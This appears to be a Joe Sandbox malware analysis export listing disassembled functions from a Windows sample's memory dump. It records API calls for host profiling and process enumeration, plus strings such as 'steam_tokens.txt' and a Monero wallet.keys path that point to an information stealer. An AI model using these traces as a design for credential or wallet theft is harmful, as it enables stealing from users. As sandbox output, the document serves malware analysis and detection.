Part of subcall function 00417850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
Part of subcall function 00417850: RtlAllocateHeap.NTDLL(00000000), ref: 00417887
Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Part of subcall function 004178E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417910
Part of subcall function 004178E0: RtlAllocateHeap.NTDLL(00000000), ref: 00417917
Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Part of subcall function 00417980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E00,00000000,?), ref: 004179B0
Part of subcall function 00417980: RtlAllocateHeap.NTDLL(00000000), ref: 004179B7
Part of subcall function 00417980: GetLocalTime.KERNEL32(?,?,?,?,?,00420E00,00000000,?), ref: 004179C4
Part of subcall function 00417980: wsprintfA.USER32 ref: 004179F3

Part of subcall function 00417A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,013FF118,00000000,?,00420E10,00000000,?,00000000,00000000), ref: 00417A63
Part of subcall function 00417A30: RtlAllocateHeap.NTDLL(00000000), ref: 00417A6A
Part of subcall function 00417A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,013FF118,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A7D

Part of subcall function 00417B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,013FF118,00000000,?,00420E10,00000000,?,00000000,00000000), ref: 00417B35

Part of subcall function 00417B90: GetKeyboardLayoutList.USER32(00000000,00000000,004205AF), ref: 00417BE1
Part of subcall function 00417B90: LocalAlloc.KERNEL32(00000040,?), ref: 00417BF9
Part of subcall function 00417B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 00417C0D
Part of subcall function 00417B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417C62
Part of subcall function 00417B90: LocalFree.KERNEL32(00000000), ref: 00417D22

Part of subcall function 00417D80: GetSystemPowerStatus.KERNEL32(?), ref: 00417DAD

GetCurrentProcessId.KERNEL32(00000000,?,013FE330,00000000,?,00420E24,00000000,?,00000000,00000000,?,013FF130,00000000,?,00420E20,00000000), ref: 0041207E

Part of subcall function 00419470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00419484
Part of subcall function 00419470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 004194A5
Part of subcall function 00419470: CloseHandle.KERNEL32(00000000), ref: 004194AF

Part of subcall function 00417E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417E37
Part of subcall function 00417E00: RtlAllocateHeap.NTDLL(00000000), ref: 00417E3E
Part of subcall function 00417E00: RegOpenKeyExA.KERNEL32(80000002,013EBA78,00000000,00020119,?), ref: 00417E5E
Part of subcall function 00417E00: RegQueryValueExA.KERNEL32(?,013FE0D0,00000000,00000000,000000FF,000000FF), ref: 00417E7F
Part of subcall function 00417E00: RegCloseKey.ADVAPI32(?), ref: 00417E92

Part of subcall function 00417F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00417FC9
Part of subcall function 00417F60: GetLastError.KERNEL32 ref: 00417FD8

Part of subcall function 00417ED0: GetSystemInfo.KERNEL32(00420E2C), ref: 00417F00
Part of subcall function 00417ED0: wsprintfA.USER32 ref: 00417F16

Part of subcall function 00418100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,013FF208,00000000,?,00420E2C,00000000,?,00000000), ref: 00418130
Part of subcall function 00418100: RtlAllocateHeap.NTDLL(00000000), ref: 00418137
Part of subcall function 00418100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00418158
Part of subcall function 00418100: __aulldiv.LIBCMT ref: 00418172
Part of subcall function 00418100: __aulldiv.LIBCMT ref: 00418180
Part of subcall function 00418100: wsprintfA.USER32 ref: 004181AC

Part of subcall function 004187C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E28,00000000,?), ref: 0041882F
Part of subcall function 004187C0: RtlAllocateHeap.NTDLL(00000000), ref: 00418836
Part of subcall function 004187C0: wsprintfA.USER32 ref: 00418850

Part of subcall function 00418320: RegOpenKeyExA.KERNEL32(00000000,013FB9D8,00000000,00020019,00000000,004205B6), ref: 004183A4

Part of subcall function 00418320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
Part of subcall function 00418320: wsprintfA.USER32 ref: 00418459
Part of subcall function 00418320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041847B
Part of subcall function 00418320: RegCloseKey.ADVAPI32(00000000), ref: 0041848C
Part of subcall function 00418320: RegCloseKey.ADVAPI32(00000000), ref: 00418499

Part of subcall function 00418680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205B7), ref: 004186CA
Part of subcall function 00418680: Process32First.KERNEL32(?,00000128), ref: 004186DE
Part of subcall function 00418680: Process32Next.KERNEL32(?,00000128), ref: 004186F3
Part of subcall function 00418680: CloseHandle.KERNEL32(?), ref: 00418761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0041265B

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$AllocComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 3113730047-0
Opcode ID: a154c970676600132a412f18122991bc654ec272fb1d98a389203e15c680e8bf
Instruction ID: 920ebc2bd1264ef58e9e042ab956aee0a7d7d625442637cc145e34ec31588ac2
Opcode Fuzzy Hash: a154c970676600132a412f18122991bc654ec272fb1d98a389203e15c680e8bf
Instruction Fuzzy Hash: CA72A172C11018AADB19FB91DD92EEEB33CAF14314F50469FB11662051EF342BDACB69

Function 00406D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d6ac4a69ceae729b94ba907e65054b2b86275aa29367c50d622e5fb9404a6fb
Instruction ID: c65cc5113f4fbf7636557f8b1f026e9f2285814709fd8c8344c4410f81c0aea8
Opcode Fuzzy Hash: 0d6ac4a69ceae729b94ba907e65054b2b86275aa29367c50d622e5fb9404a6fb
Instruction Fuzzy Hash: A66138B4900219EFCB14DF94E944BEEB7B1BB04304F1185AAE40A77380D739AEA4DF95

Function 00415100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 0041A820: lstrlen.KERNEL32(00404F05,?,?,00404F05,00420DDE), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(00420DDE,00000000), ref: 0041A885

lstrlen.KERNEL32(00000000,00000000,00420ACA), ref: 0041512A

Strings

steam_tokens.txt, xrefs: 0041513F

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: dd35238f499786b96ceba1b6ed33723cb3801efd9cc92a289417538029fa1afc
Instruction ID: 0b443913f8ff21268bbca5da4ddd77cab48c5630089faae76e13a1e44d6df956
Opcode Fuzzy Hash: dd35238f499786b96ceba1b6ed33723cb3801efd9cc92a289417538029fa1afc
Instruction Fuzzy Hash: E4F06D3194110866CB04F7B2EC539ED733C9F50358F80416EB413620D2EF3C675AC6AA

Function 00417ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00420E2C), ref: 00417F00
wsprintfA.USER32 ref: 00417F16

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 6e48eb6c373aebad151474fa646ebf8a74f2430de7cecad2b643f906b25ca64a
Instruction ID: 2fbe6902627a031950d7a3fa851ef95510e90209490a35db063d7eb50f57f6da
Opcode Fuzzy Hash: 6e48eb6c373aebad151474fa646ebf8a74f2430de7cecad2b643f906b25ca64a
Instruction Fuzzy Hash: 53F0F6B5A44218FBC710CF84DC45FEAF7BCF744710F50066AF50592280D37929408BD5

Function 0040B4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,013F8BD0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

lstrlen.KERNEL32(00000000), ref: 0040B9C2
lstrlen.KERNEL32(00000000), ref: 0040B9D6

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 689474b08158b572a681f942de87ddebf76678df30c4879c3ee0cf3629fad55b
Instruction ID: 4e9d2fdd6b59a5819e0b0cc177d60c70936eaf215788bcf9b06e28604354d71c
Opcode Fuzzy Hash: 689474b08158b572a681f942de87ddebf76678df30c4879c3ee0cf3629fad55b
Instruction Fuzzy Hash: EEE133729111189BDB04FBA1CD92EEE7339AF14314F40456EF50672091EF386B9ACB7A

Function 0040AEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,013F8BD0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

lstrlen.KERNEL32(00000000), ref: 0040B16A
lstrlen.KERNEL32(00000000), ref: 0040B17E

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: cabf7b241e23ca2f048ad11f26693c5841f751d342f408dadd1e65b3e9ac0aac
Instruction ID: e0be25968149aafb42a348446a4bf8d1b8c1be94a7ef2c7b8365e7541d0fe6a1
Opcode Fuzzy Hash: cabf7b241e23ca2f048ad11f26693c5841f751d342f408dadd1e65b3e9ac0aac
Instruction Fuzzy Hash: D9916571911108ABDB04FBE1DD52EEE7339AF14314F40452EF507A6091EF386A99CBBA

Function 0040B230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,013F8BD0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

lstrlen.KERNEL32(00000000), ref: 0040B42E
lstrlen.KERNEL32(00000000), ref: 0040B442

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
